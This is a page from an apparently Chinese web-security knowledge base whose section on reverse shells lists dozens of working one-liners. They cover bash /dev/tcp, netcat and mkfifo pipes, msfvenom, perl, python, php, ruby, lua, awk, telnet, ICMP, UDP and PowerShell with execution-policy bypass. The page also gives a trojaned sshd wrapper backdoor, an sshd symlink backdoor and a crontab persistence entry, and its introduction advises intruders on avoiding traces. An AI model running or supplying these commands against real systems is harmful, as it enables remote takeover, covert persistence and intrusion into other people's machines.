secskill
  • Introduction
  • 1.web应用漏洞
    • 1.1 SQL注入漏洞
      • 1.1.1 type注入利用
      • 1.1.2 mothod注入利用
      • 1.1.3 按照效果注入利用
      • 1.1.4 order,limit和from后的注入
      • 1.10.1 sqlmap使用
    • 1.2 目录遍历漏洞
    • 1.3 跨站脚本漏洞
      • 1.3.10 flash xss
      • 1.3.11 Uxss
    • 1.4 未过滤HTML代码漏洞
    • 1.5 数据库运行出错
    • 1.6 Flash安全配置缺陷漏洞
    • 1.7 编辑器漏洞
      • 1.7.1 kindeditor编辑器漏洞
        • 1.7.1.1 kindeditor<=4.1.5文件上传漏洞
      • 1.7.2 fckeditor编辑器漏洞
        • 1.7.2.1 fckeditor<=2.6.4文件上传漏洞
    • 1.8 URL Redirect漏洞
    • 1.9 任意文件上传漏洞
    • 1.10 敏感信息泄露漏洞
    • 1.11 未加密登陆请求漏洞
    • 1.12 后台弱口令漏洞
    • 1.13 后台口令暴力破解漏洞
    • 1.14 跨站请求伪造漏洞
    • 1.15 Unicode 编码转换漏洞
    • 1.16 Possible .Net Error Message
    • 1.17 发生内部错误漏洞
    • 1.18 旁站攻击漏洞
    • 1.19 后台登录页面绕过
    • 1.20 Possible PHP Error Message
    • 1.21 UrlPath Pollution
    • 1.22 File Operation-Web.xml漏洞
    • 1.23 短文件名泄漏漏洞
    • 1.24 OS注入漏洞
    • 1.25 SOAP注入漏洞
    • 1.26 SMTP注入漏洞
    • 1.27 LDAP注入漏洞
    • 1.28 命令执行漏洞
    • 1.29 HTTP消息头注入漏洞
    • 1.30 验证机制缺陷漏洞
    • 1.31 越权漏洞
    • 1.31 服务端请求伪造漏洞
    • 1.32 xxe漏洞
    • 1.33 逻辑漏洞
    • 1.34 支付漏洞
      • 1.34.1 支付漏洞
    • 1.35 cors漏洞
      • 1.35.1 cors
    • 1.36 jsonp漏洞
    • 1.37 点击劫持漏洞
    • 1.38 框架注入漏洞
    • 1.39 文件包含漏洞
    • 1.40 CRLF注入漏洞
    • 1.41 SSTI漏洞
  • 2.中间件漏洞
    • 2.1 IIS
      • 2.1.1 CVE-2017-7269
    • 2.2 Apache
    • 2.3 Axis2
    • 2.4 lighttpd
    • 2.5 Tomcat
      • 2.5.1 CVE-2017-12615
    • 2.6 Nginx
    • 2.7 WebLogic
    • 2.8 JBoss
    • 2.9 Websphere
    • 2.10 Struct2
    • 2.11 XAMMP
    • 2.12 LAMPP
    • 2.13 FastCGI
    • 2.14 PHPCGI
    • 2.15 JOnAS
    • 2.16 Joomla
      • 2.16.1 CVE-2017-8917
    • 2.17 Padding oracle
    • 2.18 Jenkins
      • 2.18.1 CVE-2019-1003000
      • 2.18.2 CVE-2017-1000353
    • 2.18 Drupal
      • 2.18.1 CVE-2019-6340l
    • 2.19 PHPGD
      • 2.19.1 CVE-2019-6977
    • 2.20 PhpMyAdmin
      • 2.20.1 CVE-2016-5734
      • 2.20.2 反序列化漏洞
      • 2.20.3 CVE-2018-12613
    • 2.21 PHP
      • 2.21.1 extract
      • 2.21.2 strcmp
      • 2.21.3 urldecode
      • 2.21.4 md5
      • 2.21.5 strpos
      • 2.21.6 is_numeric
      • 2.21.7 sha
      • 2.21.7 ereg
      • 2.21.8 creat
  • 3.系统漏洞
    • 3.1 DNS域传送漏洞
    • 3.2 SSH Services Port 22 Enabled
    • 3.3 NetBIOS Services Port 139 Enabled
    • 3.4 OpenSSL 漏洞
    • 3.5 docker remote API漏洞
    • 3.6 Samba远程代码执行漏洞
    • 3.7 Windows系统漏洞
      • 3.7.1 ms17-010
      • 3.7.2 ms08-067
      • 3.7.3 ms16-075
      • 3.7.4 CVE-2017-0213
      • 3.7.5 ms16-135
      • 3.7.6 CVE-2018-8120
      • 3.7.7 CVE-2018-0824
    • 3.8 linux系统漏洞
      • 3.8.1 ubuntu
        • 3.8.1.1 CVE-2015-1328
        • 3.8.1.2 CVE-2017-16995
    • 3.9 openssh漏洞
      • 3.9.1 cve-2016-6515
  • 4.网络漏洞
    • 4.1 ARP欺骗嗅探漏洞
    • 4.2 反弹shell的N种姿势
    • 4.3 DNS欺骗
  • 5.cms漏洞
    • 5.1 08cms
    • 5.2 74cms
    • 5.3 Appcms
    • 5.4 Aspcms
    • 5.5 Bluecms
    • 5.6 Cscms
    • 5.7 Dedecms
    • 5.8 Discuz
      • 5.8.1 Discuz任意文件删除
    • 5.9 Dkcms
    • 5.10 Ecshop
    • 5.11 Finecms
    • 5.12 Fscms
    • 5.13 Jeecms
    • 5.14 Ibcms
    • 5.15 Maccms
    • 5.16 Php168
    • 5.17 Phpcms
    • 5.18 Phpmywind
    • 5.19 Phpwind
    • 5.20 Phpweb
    • 5.21 Qibocms
    • 5.22 Seacms
    • 5.23 Shopex
    • 5.24 Thinkphp
      • 5.24.1 SQL
      • 5.24.2 RCE
      • 5.24.3 RCE2
    • 5.25 Typecho
    • 5.26 Wordpress
      • 5.26.1 Wordpress Plugin_sql
    • 5.27 Xycms
    • 5.28 Zabbix
    • 5.29 Zblog
    • 5.30 Zzcms
Powered by GitBook
On this page
  • 前言
  • bash
  • 方法2
  • 方法3
  • nc
  • msfvenom
  • sshd
  • socat版
  • awk
  • telnet
  • 第一种
  • 第二种
  • 各类语言
  • perl
  • python
  • crontab
  • php
  • ruby
  • lua
  • 协议
  • icmp
  • udp
  • powershell
  • 基础链接

Was this helpful?

  1. 4.网络漏洞

4.2 反弹shell的N种姿势

Previous4.1 ARP欺骗嗅探漏洞Next4.3 DNS欺骗

Last updated 6 years ago

Was this helpful?

前言

很多时候,不到万不得已的情况下,我们完全没必要非往目标机器里传一堆工具,先不说由于各种防护[不仅仅是杀软的问题],传工具困难重重,有时由于自己的粗心,走的时候很容易把各种工具落在目标机器上,万一哪天被人看见,一看工具就大概知道你上来都干了啥,尤其是很多小伙伴在用别人工具时候也不爱做点儿什么手脚,后果你自然是很懂的,嘿嘿……其实,我一直都建议,如果能利用目标系统自身的环境或者工具帮我们搞定的,最好就直接用那个,也省去了不少的麻烦,比如,最简单的,利用目标系统中自带的各种工具及语言环境帮我们弹回一个简单的可交互shell, 有shell,’夫何求’, 没错,你肯定会说,不就一个shell嘛,我直接用 coablt strike & msf 岂不更好,嘿嘿……其实,这里并不存在争论的点,不错,它俩确实挺好,不过,恶劣的环境总是有的,有时想把它俩用上确实比较费劲,好了,前戏就到此为止吧,下面我们就直奔主题……

实验环境:

主机A:10.1.1.100 主机B:10.1.1.101

bash

在主机A使用nc监听 ,命令:nc -lvvp 123

在主机B上使用bash直接反弹,命令:bash -i >& /dev/tcp/10.1.1.100/123 0>&1

此时主机A收到shell了

下面来解释一下这一条反弹shell的命令首先,bash -i代表在本地打开一个bash,然后就是/dev/tcp/ip/port, /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。

方法2

bash -i >& /dev/tcp/attackerip/attackerport 0<&2

方法3

exec 5<>/dev/tcp/attackerip/attackerport;cat <&5|while read line;do $line >&5 2>&1;done
0<&196;exec 196<>/dev/tcp/attackerip/attackerport; sh <&196 >&196 2>&196

与上一个完全相同

nc

攻击机上执行

nc -lvvp 1234

靶机执行

nc 10.1.1.100 1234 -t -e /bin/bash

没有-e选项时:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.1.1.100 2333 >/tmp/f

或者

mknod backpipe p; nc 10.1.1.100 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe

msfvenom

搜索相关payload

msfvenom -l payloads | grep 'cmd/unix/reverse'

里面自习选择即可,这里以python的为例

命令:

msfvenom -p cmd/unix/reverse_python lhost=10.1.1.100 lport=1234

然后主机A上启动nc进行监听

切换到主机B,在终端输入msfvenom给出的payload

执行即可反弹shell

sshd

目标机器执行

 netstat -tulnp | grep "8080"
 ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8080;
 netstat -tulnp | grep "8080"

攻击机执行

 ssh root@192.168.1.129 -p 8080      一定要注意在自己本地机器上用这个端口去连
 pkill su

socat版

cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

攻击机执行:

socat STDIO TCP4:10.1.1.101:22,sourceport=13377

awk

目标机执行

awk 'BEGIN{s="/inet/tcp/0/192.168.1.128/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

攻击机nc监听即可

telnet

第一种

C:\>nc -vlp 1080   命令结果显示窗口
C:\>nc -lvp 6666  命令传输窗口
# telnet 10.1.1.101 6666 | /bin/bash | telnet 10.1.1.101 1080

第二种

C:\>nc -lvp 8080
# mknod test p && telnet 10.1.1.101 8080 0<test | /bin/bash 1>test

各类语言

perl

C:\>nc -lvp 53
# perl -e 'use Socket;$i="10.1.1.101";$p=53;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

python

C:\>nc -lvp 8080
# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.1.1.101",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

crontab

C:\>nc -lvp 8080
# (crontab -l;printf "* * * * *  /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.1.1.101\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n")|crontab -
# crontab -e

php

C:\>nc -lvp 8080
# /usr/local/php/bin/php -r '$sock=fsockopen("10.1.1.101",8080);exec("/bin/bash -i <&3 >&3 2>&3");'

ruby

C:\>nc -lvp 8080
# ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.128","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

lua

c:\nc -lvp 8080
# apt-get install lua50 -y
# apt-get install luarocks -y
# luarocks install luasocket
# lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.1.1.101','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"

协议

icmp

# make linux
# ./ishd -i 6555 -t 0 -p 8080
# ./ish -i 6555 -t 0 -p 8080 10.1.1.101[这里的ip可以换成域名]

udp

C:\>nc -l -p 53 -u     注意这里务必要用udp的模式来接
# python udpshell.py 10.1.1.101 53 udp

powershell

C:\>nc -lvp 8080

# powershell –exec bypass –Command "& {Import-Module 'C:\mini-reverse.ps1'}"

PS C:\> Set-ExecutionPolicy Unrestricted
PS C:\> cd .\powercat
PS C:\powercat> Import-Module .\powercat.ps1
PS C:\powercat> powercat -c ip -p 8080 -e cmd -g >> payload.ps1
C:\>nc -lvp 8080

powershell –exec bypass –Command "& {Import-Module 'C:\payload.ps1'}"

基础链接

https://xz.aliyun.com/t/2548